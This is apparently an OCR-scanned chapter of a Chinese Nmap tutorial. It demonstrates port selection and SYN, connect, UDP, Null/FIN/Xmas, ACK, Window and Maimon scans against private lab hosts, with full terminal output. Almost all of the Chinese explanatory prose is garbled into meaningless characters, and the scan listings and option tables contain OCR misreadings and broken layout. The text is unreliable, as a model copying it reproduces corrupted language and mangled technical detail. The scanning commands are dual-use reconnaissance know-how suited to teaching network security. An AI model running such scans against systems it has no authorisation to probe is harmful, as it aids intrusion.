-sM TCP Maimon 1##
--scanflags H & X TCP §1#4




35 mEAEAR

e
i® W ®m B
sl GRS
-sO IP PRl
-b FTP Bounce i

EERIANE LT » Nmap % 3 1 5148 77 e 3 AN BRBEAT 16, B35 /& 2 I nmap-services
S A g 1 AT 4

—p &I

T Z I A LR i — M AR ER R AR 05, aT AR & —ANME— {E T AT 2 — AN
[#, fn 80~998.

root@Wing:~# nmap -p 445 192.168.126.131

Starting Nmap 6.40 ( http://nmap.org ) at 2015-06-10 19:20 CST
Nmap scan report for 192.168.126.131

Host is up (0.00032s latency).

PORT STATE SERVICE

445/tcp open microsoft-ds

MAC Address: 00:0C:29:E0:2E:76 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.09 seconds
root@Wing:~# nmap -p 445-1000 192.168.126.131

Starting Nmap 6.40 ( http://nmap.org ) at 2015-06-10 19:20 CST
Nmap scan report for 192.168.126.131

Host is up (0.00027s latency).

Not shown: 552 closed ports

PORT STATE SERVICE

445/tcp open microsoft-ds

512/tcp open exec

513/tcp open login

514/tcp open shell

MAC Address: 00:0C:29:E0:2E:76 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.11 seconds

root@Wing:~#

N SR B AR TCP i 1 )AEH4 UDP S 1, A AR SR SR B “T: ” 88 “U:”, 4351
R TCP thil5 UDP M. R, ZEEEHH UDP XH# TCP, WiifgE-sU AR EL—A
TCP LKA (4n-sS, -sF, BFH—-sT). WREBHHEINIRER, 052 8mBFTE UL
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k3

root@Wing:~# nmap -sS -p T:111,U:445 192.168.126.131

Starting Nmap 6.40 ( http://nmap.org ) at 2015-06-10 20:03 CST
Nmap scan report for 192.168.126.131

Host is up (0.00029s latency) .

PORT STATE SERVICE

111/tcp open rpcbind

MAC Address: 00:0C:29:E0:2E:76 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 2.12 seconds
root@Wing:~#

—F 57

s 2R T AT ADRIE S i 1, (HIFA BT A im D i, RaHRia R A,
f£ Nmap 1 nmap-services G2 7 BRINH W5 0, 7] B --datadir ETHEE H O
nmap-services 3 1.

root@Wing:~# nmap -F 192.168.126.131

Starting Nmap 6.40 ( http://nmap.org ) at 2015-06-10 20:10 CST
Nmap scan report for 192.168.126.131
Host is up (0.00031s latency).

Not shown: 82 closed ports

PORT STATE SERVICE

21/tcp open ftp

22/tcp open ssh

23/tcp open telnet

25/tcp open smtp

53/tcp open domain

80/tcp open http

111/tcp open rpcbind

139/tcp open netbios-ssn

445/tcp open microsoft-ds

513/tcp open login

514/tcp open shell

2049/tcp open nfs

2121/tcp open ccproxy-ftp

3306/tcp open mysql

5432/tcp open postgresqgl

5900/tcp open vnc

6000/tcp open X11

8009/tcp open ajpl3

MAC Address: 00:0C:29:E0:2E:76 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.10 seconds
root@Wing:~#
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35 EEABAT

A8 FZIE TA 23 X D EAT BEALUB P44, BRIAESL T, Nmap 2L 5m H K,
— MR IRAIH S IE P Nmap HEATRENLIRE, (H 40 A] DL R X AN TR ST HE .
——top—ports %EIN

Nmap % [ FF IBOE 2R (1)1 £ 45 B ARTFAE nmap-services H, 7EIX 2 5 51 (1) J& FF R % B
=1 1000 /™ TCP % 1, XANIHEE(E TEATR I EAAT XA H 18w 0 .

root@Wing:~# nmap --top-ports 100 192.168.126.131

Starting Nmap 6.40 ( http://nmap.org ) at 2015-06-11 13:29 CST
Nmap scan report for 192.168.126.131
Host is up (0.00021s latency).

Not shown: 82 closed ports

PORT STATE SERVICE

21/tcp open ftp

22/tcp open ssh

23/tcp open telnet

25/tcp open smtp

53/tcp open domain

80/tcp open http

111/tcp open rpcbind

139/tcp open netbios-ssn

445/tcp open microsoft-ds

513/tcp open login

514/tcp open shell

2049/tcp open nfs

2121/tcp open ccproxy-ftp

3306/tcp open mysql

5432/tcp open postgresqgl

5900/tcp open wvnc

6000/tcp open X11

8009/tcp open ajpl3

MAC Address: 00:0C:29:E0:2E:76 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.12 seconds
root@Wing: ~#

At 45 SR o 100 N TFBCR B i H .

——port-ratio £

i Nmap B 5 & 105G D TP, A SR E —EMR LA LR, R
~-top-porst FEITE N AHL, RIX B S EAE AR RAEN, R AN 72 nmap-services S+
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wam RERE

CATVFAT .

)

-p BTG AT AR i 5, AT ETKE, #lin-p80 KIEA. (HRZH
BT, AT Nmap iEA R EMESRAE TR, @ OUER 83T 70 %

BT repswsam

K 3.4 AR AAREY PTG Nmap @K, KPS AA NP4 —TCP SYN

4.
%34 ETEwS
% m .
T A 3B T
iad B PR
-sS TCP SYN H#
-sT TCP EHHH
-sU UDP 34
-sN;-sF;-sX (S vEEEi]
-sA TCPACK 3
sW TCP & 1 3H
-sM TCP Maimon 4
--scanflags A% X TCP 344
-s1 k=i
-sO RyISVERET
b FTP Bounce 4

-sS FH T AR LB AT — R8T 5

RS TENEAMER, 13— s bk

TG e SYN [F39 J7 2R AN R U UL Ba i i 4348 75 2, AR AERS Bl K 28 B3 R TR
B EH AT TCP RIBERE, (ERTTH U2 5w LT BORAS I, WAl H Axdim H 1 B4 T
O EHITE DL, ATLAE AT A SYN 0 7 SNHEAT 48, SYN $348m] LR B ffdth < 4>t o 1
RIFBORZS, IR — e 2k BAR A H 0 #7.
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B TR, A BEATIF AN 584 TCP 4RI 3 4B F. TCP EHH
G2V FT I H bR B G 1 FBER IR 3 IR T, IXREMCA v RE B H bR ENLEESE, Wi Al
JH TCP SYN 4418, WIALE L4 H bR EHUR .
H AR ML DK BL T, Nmap (K TAEGFE A ) H AR EHLRIE A SYN fifskiE
2, WRE] RST EIFRIILIER: AR, B E AR P00 O OCH . i B AR =L 12
FFIBUF), Nmap [ TAERAFEA ) HAR ENURE A SYN 4, WoRER:, HAR BV sk
JR WM A SYN/ACK £, 4 Nmap WF| Hbr EHLRIWI N5, 18] H AR &L —4> RST B4R
ACK i, FEHE5H, WA 3 AR I8 SE k.

root@Wing:~# nmap -sS 192.168.126.131

Starting Nmap 6.40 ( http://nmap.org ) at 2015-06-10 21:43 CST
Nmap scan report for 192.168.126.131
Host is up (0.00029s latency).

Not shown: 977 closed ports

PORT STATE SERVICE

21/tcp open ftp

22/tcp open ssh

23/tcp open telnet

25/tcp open smtp

53/tcp open domain

80/tcp open http

111/tcp open rpcbind

139/tcp open netbios-ssn

445/tcp open microsoft-ds

512/tcp open exec

513/tcp open login

514/tcp open shell

1099/tcp open rmiregistry

1524/tcp open ingreslock

2049/tcp open nfs

2121/tcp open ccproxy-ftp

3306/tcp open mysqgl

5432 /tcp open postgresqgl

5900/tcp open vnc

6000/tcp open X11

6667/tcp open irc

8009/tcp open ajpl3

8180/tcp open unknown

MAC Address: 00:0C:29:E0:2E:76 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.15 seconds
root@Wing:~#
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238 REMS

76 SYN H# ARG N, TCP RS HERIAM TCP H#.

EXR rer spiam

% 3.5 PR AARTENT# Nmap @K, RPN AARNTPTIFRaHe—TCP ik
i

%35 ATFRERS
i m .

i I PP HE T30
-p|-F LA ESE: DEN
-sS TCP SYN 14
T TCP E&ERH
-sU UDP £
-sN;i-sFi-sX SE SR
-sA TCP ACK {14
-sW TCP & 94
-sM TCP Maimon $714i
--scanflags 5 X TCP 14
-sl Gl ERE
-0 IP PpisCoT 4
b FTP Bounce 14

-sT EIUE T SYN F#iAREAE e, ‘&4t TCP EHAHRE, [Fh Nmap S7ERAN
H bS8 3 BT, EARAK BHbr EATZ K 80T BOE AR EHU#H Bt BT TCP &4
ERE Py TINESEL TR -2 S TN S Sl UE SE Wb

2 SYN HH# AT, ©ilE & B AEFIEFE. K4 Nmap X & 2 /) connect() i H Hb Xt 54k
WOCFEFIE A, FrilaiE AR BK. TCP i AMNAL LA (6], 7% 58 22 FFEAE |,
HFsWI ] feidk Fi%He. IDS (NRESRSD) nf LRI, (HRE L8 XFER
R AG 2 UNIX RS LIRSS & 1E syslog B RSk, f7 KR —F & FUR R B
WARER R AEEEIRE R —REMN HEEE K, NV ZEIRAMLN RERERT .

Nmap &% —/M & SYN ik, Wi s RST A #7s H Arim 2 6, s Hbr:
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Bl RER EmMN T —4 SYN+ACK 1, Nmap [1] HFr EHLKIE D ACK 1, HHAEE,
&7 B bR C 2 T UK

root@Wing:~# nmap -sT 192.168.126.131

Starting Nmap 6.40 ( http://nmap.org ) at 2015-06-10 21:48 CST
Nmap scan report for 192.168.126.131
Host is up (0.012s latency).

Not shown: 977 closed ports

PORT STATE SERVICE

21/tcp open ftp

22/tcp open ssh

23/tcp open telnet

25/tcp open smtp

53/tcp open domain

80/tcp open http

111/tcp open rpcbind

139/tcp open netbios-ssn

445/tcp open microsoft-ds

512/tcp open exec

513/tcp open login

514/tcp open shell

1099/tcp open rmiregistry

1524/tcp open ingreslock

2049/tcp open nfs

2121/tcp open ccproxy-ftp

3306/tcp open mysgl

5432/tcp open postgresqgl

5900/tcp open vnc

6000/tcp open X11

6667/tcp open irc

8009/tcp open ajpl3

8180/tcp open unknown

MAC Address: 00:0C:29:E0:2E:76 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.32 seconds
root@Wing: ~#

BT uoe sas

% 3.6 Fron AT Nmap fiv4%, KP4 ﬁ¢¢ T iy &——UDP 14 .
i F-sU JEI0 A LAREAT UDP $14. UDP AR 12, R 2 e adiiz A\ R 2 TiX

Yo 1, X BRE MR

UDP i BRI —Fp “HeHLETS” ML, R 24 0 4 2 WX 8 11, XS M
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EIEFE RRERMSE

4i5I, UDP i 87F v AR IS %2 A DARE JR BRI T 3 1« UDP $3 4 06 45 ) UDP #3031 H
brif L, X HL T EE R S, UDP Sk BT (8 K, Xl Nmap 7 LABFA BRI H brii
CHR T RCRAS, SR [A] ICMP s AN o] Bk 48 5k n] BUA 8 2 2 % e, HAb K st e) LA
WA AR I BRI, SR A Y. T AT E A 2 I IBOIRAS o

%36 AT FFE®E
i m .

-T I i It
-p|-F CR ESELVIEN
-sS TCP SYN 14
ST TCP HHF
-sU UDP 34
-sN;-sF;-sX (S e
-sA TCP ACK 4
-sW TCP % 344
-sM TCP Maimon F4#
--scanflags H & X TCP 4%
-sl RSk
-sO IP iS4
b FTP Bounce $I#

UDP i HF$E i %1% UDP 4 20 H AR LU AR, e A H b 5 2 TF
JEOIRZS, Wk HARIE ] ICMP ASATE B e, 60 o F ORI, dn SR AT 21 TR 8 I8 =4 (M R,
U 56 s S IR

root@Wing:~# nmap -sU -p 80-500 192.168.126.131

Starting Nmap 6.40 ( http://nmap.org ) at 2015-06-11 10:41 CST
Nmap scan report for 192.168.126.131

Host is up (0.00029s latency) .

PORT STATE SERVICE

80/udp closed http

111/udp open rpcbind

445/udp closed microsoft-ds

MAC Address: 00:0C:29:E0:2E:76 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.07 seconds

root@Wing: ~4#



HI T UDP 12 A0 212 1), BT LK B -p JE TR AE 7 A B4R 1, R AR —
AN 1 TFRH 12 5 2 {1 Bl K I 8] 19

“C\" D HETTUAR 5E A RO B IS 530 35 11 5% 11 2 T 4 1 A
| wmaman.

39 o

2% 3.7 Fion WA Nmap fir @&, RPN AT ANy & ——R#fdT .

%37 Y. e
® I I

-T I 3 750
-pl-F AT
S TCP SYN #14
-sT TCP &4
-sU UDP 4
-sN;-sF;-sX (ST g Rk
-sA TCP ACK 4
-sW TCP & H 4
-sM TCP Maimon 414
--scanflags & 3 TCP 14t
-sl R
-0 1P PR
b FTP Bounce 414

Famcdad A 3 Nk, 3 5l2-sN. -sF. -sX.

-sN /& Null 358, 28 &% IERH I TCP M5 N5, REBR T
Null 145 Xmas SFHIGEFAR, KA Null FHEA SRR, 27 H AR LA N 5
PR, Smapi—A RST Hdif, # H AR H 2 TR WA 23 i AR 45 5

-sF /& FIN £14i, 4FAVER TCP SYN H4filef vf e 24 H AR LA K5I, PBHIE
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SYN %0, XBfEAMEM TCP FIN 94 4 ARG 2 ERCR, F2h TCP FIN H#5FA
LS8 TCP 48 T TCP FIN 145 & 1] H b 1 A& 1% — > FIN &, 4 SR 2 B AR mia f ) RST
A, BT H bR S FRBOR, i R CE RST A8 U8 B H b = SR AT o

-sX J& Xmas F1#, 1 FIN, PSH fil URG Fric i &4 IF, BlbRE A 1, HR4¥E RFC 793
FI R E bR ML R T W) 23 i 5. — A RST Ar 4.

XL T R i — SRR KBS g, X LR = 1 R SYN 4. UDP
A AR, ROARXM O ELE SYN #9477 UL, an R H 45 R a4
SEIERIEDL, AT DM Oy T A

_____________ i m e m i mm e e e e e MM e e e e mmmemmm e o e e mmmmmmmmmmemoe oo ceeeeeseesemsmememmemmeememmememmmeemm————

Viis | WRAKTMERFCT, TEMDEERFKERXIMM, #HALME RST,

Nmap {8 F]-sN LI 4 o

root@Wing:~# nmap -sN 192.168.126.131

Starting Nmap 6.40 ( http://nmap.org ) at 2015-06-11 11:15 CST
Nmap scan report for 192.168.126.131
Host is up (0.00025s latency) .

Not shown: 977 closed ports

PORT STATE SERVICE
21/tcp open|filtered ftp

22/tcp open|filtered ssh

23/tcp open|filtered telnet
25/tcp open|filtered smtp

53/tcp open|filtered domain
80/tcp open|filtered http

111/tcp open|filtered rpcbind
139/tcp open|filtered netbios-ssn
445/tcp open|filtered microsoft-ds
512/tcp open|filtered exec

513/tcp open|filtered login
514/tcp open|filtered shell
1099/tcp open|filtered rmiregistry
1524/tcp open|filtered ingreslock
2049/tcp open|filtered nfs
2121/tcp open|filtered ccproxy-ftp
3306/tcp open|filtered mysql
5432/tcp open|filtered postgresqgl
5900/tcp open|filtered vnc

6000/tcp open|filtered X11

6667/tcp open|filtered irc

8009/tcp open|filtered ajpl3
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8180/tcp open|filtered unknown
MAC Address: 00:0C:29:E0:2E:76 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 1.34 seconds
root@Wing:~#

Nmap 1 Fl-sF & 414 .

root@Wing:~# nmap -sF 192.168.126.131

Starting Nmap 6.40 ( http://nmap.org ) at 2015-06-11 11:16 CST
Nmap scan report for 192.168.126.131
Host is up (0.0013s latency).

Not shown: 977 closed ports

PORT STATE SERVICE
21/tcp open|filtered ftp

22/tcp open|filtered ssh

23/tcp open|filtered telnet

25/tcp open|filtered smtp

53/tcp open|filtered domain

80/tcp open|filtered http

111/tcp open|filtered rpcbind
139/tcp open|filtered netbios-ssn
445/tcp open|filtered microsoft-ds
512/tcp open|filtered exec

513/tcp open|filtered login

514/tcp open|filtered shell
1099/tcp open|filtered rmiregistry
1524 /tcp open|filtered ingreslock
2049/tcp open|filtered nfs

2121 /tcp open|filtered ccproxy-ftp
3306/tcp open|filtered mysqgl
5432/tcp open|filtered postgresqgl
5900/tcp open|filtered vnc

6000/tcp open|filtered X11

6667/tcp open|filtered irc

8009/tcp open|filtered ajpl3
8180/tcp open|filtered unknown

MAC Address: 00:0C:29:E0:2E:76 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 1.47 seconds
root@Wing:~#

Nmap {# F-sX LI 14
root@Wing:~# nmap —-sX 192.168.126.131
Starting Nmap 6.40 ( http://nmap.org ) at 2015-06-11 11:17 CST

Nmap scan report for 192.168.126.131
Host is up (0.00034s latency).
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Not shown: 977 closed ports

PORT STATE SERVICE
21/tcp open|filtered ftp

22/tcp open|filtered ssh

23/tcp open|filtered telnet
25/tcp open|filtered smtp

53/tcp open|filtered domain
80/tcp open|filtered http
111/tcp open|filtered rpcbind
139/tcp open|filtered netbios-ssn
445/tcp open|filtered microsoft-ds
512/tcp open|filtered exec
513/tcp open|filtered login
514/tcp open|filtered shell
1099/tcp open|filtered rmiregistry
1524 /tcp open|filtered ingreslock
2049/tcp open|filtered nfs

2121 /tcp open|filtered ccproxy-ftp
3306/tcp open|filtered mysqgl
5432/tcp open|filtered postgresqgl
5900/tcp open|filtered vnc
6000/tcp open|filtered X11
6667/tcp open| filtered irc
8009/tcp open|filtered ajpl3
8180/tcp open|filtered unknown

MAC Address: 00:0C:29:E0:2E:76 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 1.46 seconds
root@Wing:~#

TCPACK F3Hs

3.8 IR N AR T T il Nmap 24, R a2 4 AN 15 BT i g 2
F4

i Fl-sA XTI 5 | TCP ACK #14ii, TCP ACK #4if7 —MMHEH Blan SR AT, B A RERA E 3
12 75 A2 TSR I A2 4 I E )

ACK AR BIIR S B8 ACK b A (BRARE T -scanflags) . SR IEI) RSN,
open (FFIRIF]) Al closed (I it HARZ IR E] RST 3. 24 Nmap &4 14571C 4 unfiltered
CARBE I IERD, BHEE ACK fiOCARERIL, HETENRZ open OFIKKD 2 closed (5%
PRI Joikmfhe  ANim B s 803 R 4R 2 1) ICMP &5 v 5 s A3 #khRid ol filtered
€ sunl{ipE

TCP ACK
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%38 KTERS
‘W O

5 I} J 3 5t
-p-F CALERE DIEN
-sS TCP SYN £34ii
=T TCP #EHA4
sU UDP 345
-sN;-sF;-sX (5 e Rk
SA TCP ACK 94
SsW TCP % 1474
-sM TCP Maimon §-/4i
--scanflags H 5 X TCP 14
sl G OEEE
-sO R E=E]
b FTP Bounce {14

TCP ACK F1###1 TCP SYN F2R40L, XPr 45 v 2 m H AR ENL— o 0 R & — DA
ACK #rEM TCP £, R H AR TN % O 2P RREA, W4 RE—A TCP RST #{
#’lﬁ@o

root@Wing:~# nmap -sA -v 192.168.121.1

Starting Nmap 6.47 ( http://nmap.org ) at 2015-06-28 14:17 CST
Initiating Ping Scan at 14:17

Scanning 192.168.121.1 [4 ports]

Completed Ping Scan at 14:17, 0.00s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 14:17
Completed Parallel DNS resolution of 1 host. at 14:17, 0.01ls elapsed
Initiating ACK Scan at 14:17

Scanning 192.168.121.1 [1000 ports]

Completed ACK Scan at 14:17, 0.04s elapsed (1000 total ports)
Nmap scan report for 192.168.121.1

Host is up (0.00020s latency).

All 1000 scanned ports on 192.168.121.1 are unfiltered

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.12 seconds

Raw packets sent: 1004 (40.152KB) | Rcvd: 1001 (40.028KB)
root@Wing:~#

ERHEE R P 14350 1000 A L # B A #OLUE (unfiltered), X U6 HH Nmap JoiZfi e X
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B3E REMG

i 11 A2 T RS A2 R P ) 47 7 B A2 H s 1 77 2 T TBCIR A8 I i 2 Y A F 6 07 kAT
k.

R Tep mosas

% 3.9 FrRNAZE T Nmap i@ &, RPN 4 AN Frd fr&—TCP & 1
i

#3.9 VTGRS
&Em " B

-T I J3P J 7L
-p|-F i HF 7 X
-sS TCP SYN 34
-sT TCP &E#AIH
-sU UDP 34
-sN;-sF;-sX S ERE ]
-sA TCP ACK 34
-sW TCP & O34
-sM TCP Maimon 434
--scanflags H 5 X TCP 14
=] EelOEEEL
-0 11 R EEE
b FTP Bounce i

i -sW I a] LA & 144, B Windows 14, X B Windows A Z&F§ Windows
%, AP A, 0885 ACK H14i 7 X R EJLF £ K, el
IR 1] ) RST R3] TCP & H A W H by H 2 75 A8 TFARUR o

I, TFem HH IERCR R E RS, R R E DR/ 0, FrbL, ZiE] RST £
I, H3E TCP & O BB IEEOA AL 0 KT H Frig 1152 FFE08 1 5% P 1

root@Wing:~4 nmap -sW -v -F 192.168.121.1

Starting Nmap 6.47 ( http://nmap.org ) at 2015-06-28 14:24 CST
Initiating Ping Scan at 14:24

Scanning 192.168.121.1 [4 ports]

Completed Ping Scan at 14:24, 0.00s elapsed (1 total hosts)
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Initiating Parallel DNS resolution of 1 host. at 14:24
Completed Parallel DNS resolution of 1 host. at 14:24, 0.0ls elapsed
Initiating Window Scan at 14:24

Scanning 192.168.121.1 [100 ports]

Discovered open port 53/tcp on 192.168.121.1
Discovered open port 554/tcp on 192.168.121.1
Discovered open port 1025/tcp on 192.168.121.1
Discovered open port 443/tcp on 192.168.121.1
Discovered open port 25/tcp on 192.168.121.1
Discovered open port 1720/tcp on 192.168.121.1
Discovered open port 23/tcp on 192.168.121.1
Discovered open port 3306/tcp on 192.168.121.1
Discovered open port 993/tcp on 192.168.121.1
Discovered open port 21/tcp on 192.168.121.1
Discovered open port 113/tcp on 192.168.121.1
Discovered open port 143/tcp on 192.168.121.1
Discovered open port 80/tcp on 192.168.121.1
Discovered open port 995/tcp on 192.168.121.1
Discovered open port 5900/tcp on 192.168.121.1
Discovered open port 111/tcp on 192.168.121.1
Discovered open port 445/tcp on 192.168.121.1
Discovered open port 22/tcp on 192.168.121.1
Discovered open port 1723/tcp on 192.168.121.1
Discovered open port 199/tcp on 192.168.121.1
Discovered open port 110/tcp on 192.168.121.1
Discovered open port 8888/tcp on 192.168.121.1
Discovered open port 135/tcp on 192.168.121.1
Discovered open port 587/tcp on 192.168.121.1
Discovered open port 139/tcp on 192.168.121.1
Discovered open port 8080/tcp on 192.168.121.1
Discovered open port 3389/tcp on 192.168.121.1
Discovered open port 49152/tcp on 192.168.121.1
Discovered open port 8443/tcp on 192.168.121.1
Discovered open port 106/tcp on 192.168.121.1
Discovered open port 1433/tcp on 192.168.121.1
Discovered open port 8009/tcp on 192.168.121.1
Discovered open port 26/tcp on 192.168.121.1
Discovered open port 5051/tcp on 192.168.121.1
Discovered open port 13/tcp on 192.168.121.1
Discovered open port 7/tcp on 192.168.121.1
Discovered open port 5631/tcp on 192.168.121.1
Discovered open port 119/tcp on 192.168.121.1
Discovered open port 49153/tcp on 192.168.121.1
Discovered open port 8008/tcp on 192.168.121.1
Discovered open port 5190/tcp on 192.168.121.1
Discovered open port 1900/tcp on 192.168.121.1
Discovered open port 1029/tcp on 192.168.121.1
Discovered open port 179/tcp on 192.168.121.1
Discovered open port 631/tcp on 192.168.121.1
Discovered open port 3000/tcp on 192.168.121.1
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Discovered
Discovered
Discovered
Discovered
Discovered
Discovered
Discovered
Discovered
Discovered
Discovered
Discovered
Discovered
Discovered
Discovered
Discovered
Discovered
Discovered
Discovered
Discovered
Discovered
Discovered
Discovered
Discovered
Discovered
Discovered
Discovered
Discovered
Discovered
Discovered
Discovered
Discovered
Discovered
Discovered
Discovered
Discovered
Discovered
Discovered
Discovered
Discovered
Discovered
Discovered
Discovered
Discovered
Discovered
Discovered
Discovered
Discovered
Discovered
Discovered
Discovered

open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open

port
port
port
port
port
port
port
port
port
port
port
port
port
port
port
port
port
port
port
port
port
port
port
port
port
port
port
port
port
port
port
port
port
port
port
port
port
port
port
port
port
port
port
port
port
port
port
port
port
port

10000/tcp on 192.168.121.1
3128/tcp on 192.168.121.
1026/tcp ‘on 192.168.121.
5432 /tcp on 192.168.121.
4899/tcp on 192.168.121.
6646/tcp on 192.168.121.
5800/tcp on 192.168.121.
5666/tcp on 192.168.121.
465/tcp on 192.168.121.1
990/tcp on 192.168.121.1
5009/tcp on 192.168.121.1
513/tcp on 192.168.121.1
2000/tcp on 192.168.121.1
6001/tcp on 192.168.121.1
3986/tcp on 192.168.121.1
9/tcp on 192.168.121.1
548/tcp on 192.168.121.1
32768/tcp on 192.168.121.1
37/tcp on 192.168.121.1
389/tcp on 192.168.121.1
79/tcp on 192.168.121.1
543/tcp on 192.168.121.1
646/tcp on 192.168.121.1
49156/tcp on 192.168.121.1
8081/tcp on 192.168.121.1
5000/tcp on 192.168.121.1
49157/tcp on 192.168.121.1
1755/tcp on 192.168.121.1
7070/tcp on 192.168.121.1
873/tcp on 192.168.121.1
1028/tcp on 192.168.121.1
81/tcp on 192.168.121.1
5060/tcp on 192.168.121.1
5357/tcp on 192.168.121.1
2001/tcp on 192.168.121.1
2049/tcp on 192.168.121.1
88/tcp on 192.168.121.1
6000/tcp on 192.168.121.1
515/tcp on 192.168.121.1
49154/tcp on 192.168.121.1
427/tcp on 192.168.121.1
2121/tcp on 192.168.121.1
5101/tcp on 192.168.121.1
8000/tcp on 192.168.121.1
1027/tcp on 192.168.121.1
144/tcp on 192.168.121.1
544/tcp on 192.168.121.1
1110/tcp on 192.168.121.1
444/tcp on 192.168.121.1
2717/tcp on 192.168.121.1
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Discovered open port 9100/tcp on 192.168.121.1

Discovered open port 514/tcp on 192.168.121.1

Discovered open port 49155/tcp on 192.168.121.1

Discovered open port 9999/tcp on 192.168.121.1

Completed Window Scan at 14:24, 0.02s elapsed (100 total ports)
Nmap scan report for 192.168.121.1

Host is up (0.00049s latency).

PORT STATE SERVICE
7/tcp open echo
2/tep open discard

13/tcp open daytime
21/tcp open ftp

22/tcp open ssh

23/tcp open telnet
25/tcp open smtp
26/tcp open rsftp
37/tcp open time
53/tcp open domain
79/tcp open finger
80/tcp open http
81/tcp open hosts2-ns
88/tcp open kerberos-sec
106/tcp open pop3pw
110/tcp open pop3
111/tcp open rpcbind
113/tcp open ident
119/tcp open nntp
135/tcp open msrpc
139/tcp open netbios-ssn
143/tcp open imap
144/tcp open news
179/tcp open bgp
199/tcp open smux
389/tcp open ldap
427/tcp open svrloc
443/tcp open https
444/tcp open snpp
445/tcp open microsoft-ds
465/tcp open smtps
513/tcp open 1login
514/tcp open shell
515/tcp open printer
543/tcp open klogin
544/tcp open kshell
548/tcp open afp
554/tcp open rtsp
587/tcp open submission
631/tcp open ipp
646/tcp open ldp
873/tcp open rsync
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990/tcp
993/tcp
995/tcp
1025/tcp
1026/tcp
1027/tcp
1028/tcp
1029/tcp
1110/tcp
1433/tcp
1720/tcp
1723/tcp
1755/tcp
1900/tcp
2000/tcp
2001/tep
2049/tcp
2121 /tcp
2717 /tcp
3000/tcp
3128/tcp
3306/tcp
3389/tcp
3986/tcp
4899 /tcp
5000/tcp
5009/tcp
5051/tcp
5060/tcp
5101/tcp
5190/tcp
5357/tcp
5432/tcp
5631/tcp
5666/tcp
5800/tcp
5900/tcp
6000/tcp
6001/tcp
6646/tcp
7070/tcp
8000/tcp
8008/tcp
8009/tcp
8080/tcp
8081/tcp
8443 /tcp
8888/tcp
9100/tecp
9999/tcp

open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open

ftps

imaps

pop3s
NFS-oxr-IIS
LSA-or-nterm
IIS

unknown
ms-lsa
nfsd-status
ms-sql-s
H.323/0.931
pptp

wms

upnp
cisco-sccp

dc

nfs
ccproxy-ftp
pn-requester
ppp
squid-http
mysql
ms-wbt-server
mapper-ws_ethd
radmin

upnp
airport-admin
ida-agent

sip

admdog

aol

wsdapi
postgresql
pcanywheredata
nrpe

vnc-http

vnc

X11

X11l:1

unknown
realserver
http-alt

http

ajpl3
http-proxy
blackice-icecap
https-alt
sun-answerbook
jetdirect
abyss



312 TCP Maimon 3%

10000/tcp open snet-sensor-mgmt
32768/tcp open filenet-tms
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49155/tcp open unknown
49156/tcp open unknown
49157/tcp open unknown

Read data files from: /usr/bin/../share/nmap

Nmap done: 1 IP address (1 host up) scanned in 0.09 seconds
Raw packets sent: 104 (4.152KB) | Rcvd: 101 (4.028KB)

root@Wing: ~#

MG HE 0 4 R AR R ANHER 6, G SR 3 1 T TP BCIR A s R D BU LA 2 S HPIR
ASRIBFARRAIRE T, #7100 A B R AT 2 A D ICH WA 2 A DA AT RER T
JHR, XA 7 OIRAS 45 R AT e R AN HER )

W 3.1 fros, o LR BIE RN A 32767 & IEEL, %40 /& HTTP iR%: (80 i 1) Wi A/,
IX 71 24 T PR 1 2 TR o

Capturing from ethO [Wireshark 1.10.2 (SVN Rev 51934 from /trunk-1.10)] e g

File Edit View Go Capture Apalyze Statistics Telephony Tools Internals Help
oML wh e aes A FEEE oo -
Filter  tep flags reset==1 < | Expression Clear -

Protocol Lengt! Info

Seq (relative sequence number)
Header length: 20 bytes

0000 00 Oc
0010 00 28 27 & C 8
0020 et 80 00 S0 a6 56 4b ¢S 41 l¢ DO 0O DO 0D SO U4
0030 KR 12 #3 00 00 00 00 00 00 00 00

@ ¥ The window size value from the T Packets: 217 D... Profile: Default

AE 3] BEWHBOFBRS

EX7) TcPmaimon 433

% 3.10 Fis H AT Nmap 3%, R a4/ NPT is@——TCP Maimon
EEEDP
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%35 REMZ

18 -sM &It ] LS F TCP Maimon 4. Maimon F14 /2 & ) K I3 Uriel Maimon
fir 4417 . b4t Phrack Magazine issue #49 (November 1996)F i T IX—+Hi K. Nmap 76 #)5
AT X —HAR. XWEAM Null, FIN J& Xmas $3#5548—F, BT HIMR R FIN/ACK.
HRHE RFC 793 (TCP), it HITBERE XM, ARN XX BRI N RST $R3C. AR,
Uriel 7 & B W i O P, 725 T BSD &4 2 E iR .

%3.10 ETHESS
% W |

-T i 3L 250
-p|-F (I ESE DB
-sS TCP SYN H3##
T TCP &I
-sU UDP 444
-sN;-sF;-sX e 4
-sA TCP ACK 14
sW TCP & H 744
-sM TCP Maimon 3%
--scanflags HiE X TCP 34
=1 Bl RS
0 IP W4
-b FTP Bounce #3#i

root@Wing:~# nmap -sM -T4 192.168.126.131

Starting Nmap 6.40 ( http://nmap.org ) at 2015-06-11 12:32 CST
Nmap scan report for 192.168.126.131

Host is up (0.00024s latency).

All 1000 scanned ports on 192.168.126.131 are closed

MAC Address: 00:0C:29:E0:2E:76 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.25 seconds

root@Wing:~#

FRE) & s Tep s

% 3.11 FioR AAFE Y PTH Nmap &K, DI & & AN B s &——H & X TCP



313 BEX TCP H#

EEEi
% 3.1 KHREGS
% M ®m B
-T I P 3
-p|-F (I EEE DI
-sS TCP SYN i
-sT TCP M4
-sU UDP 414
-sN;-sF;-sX [SUERED]
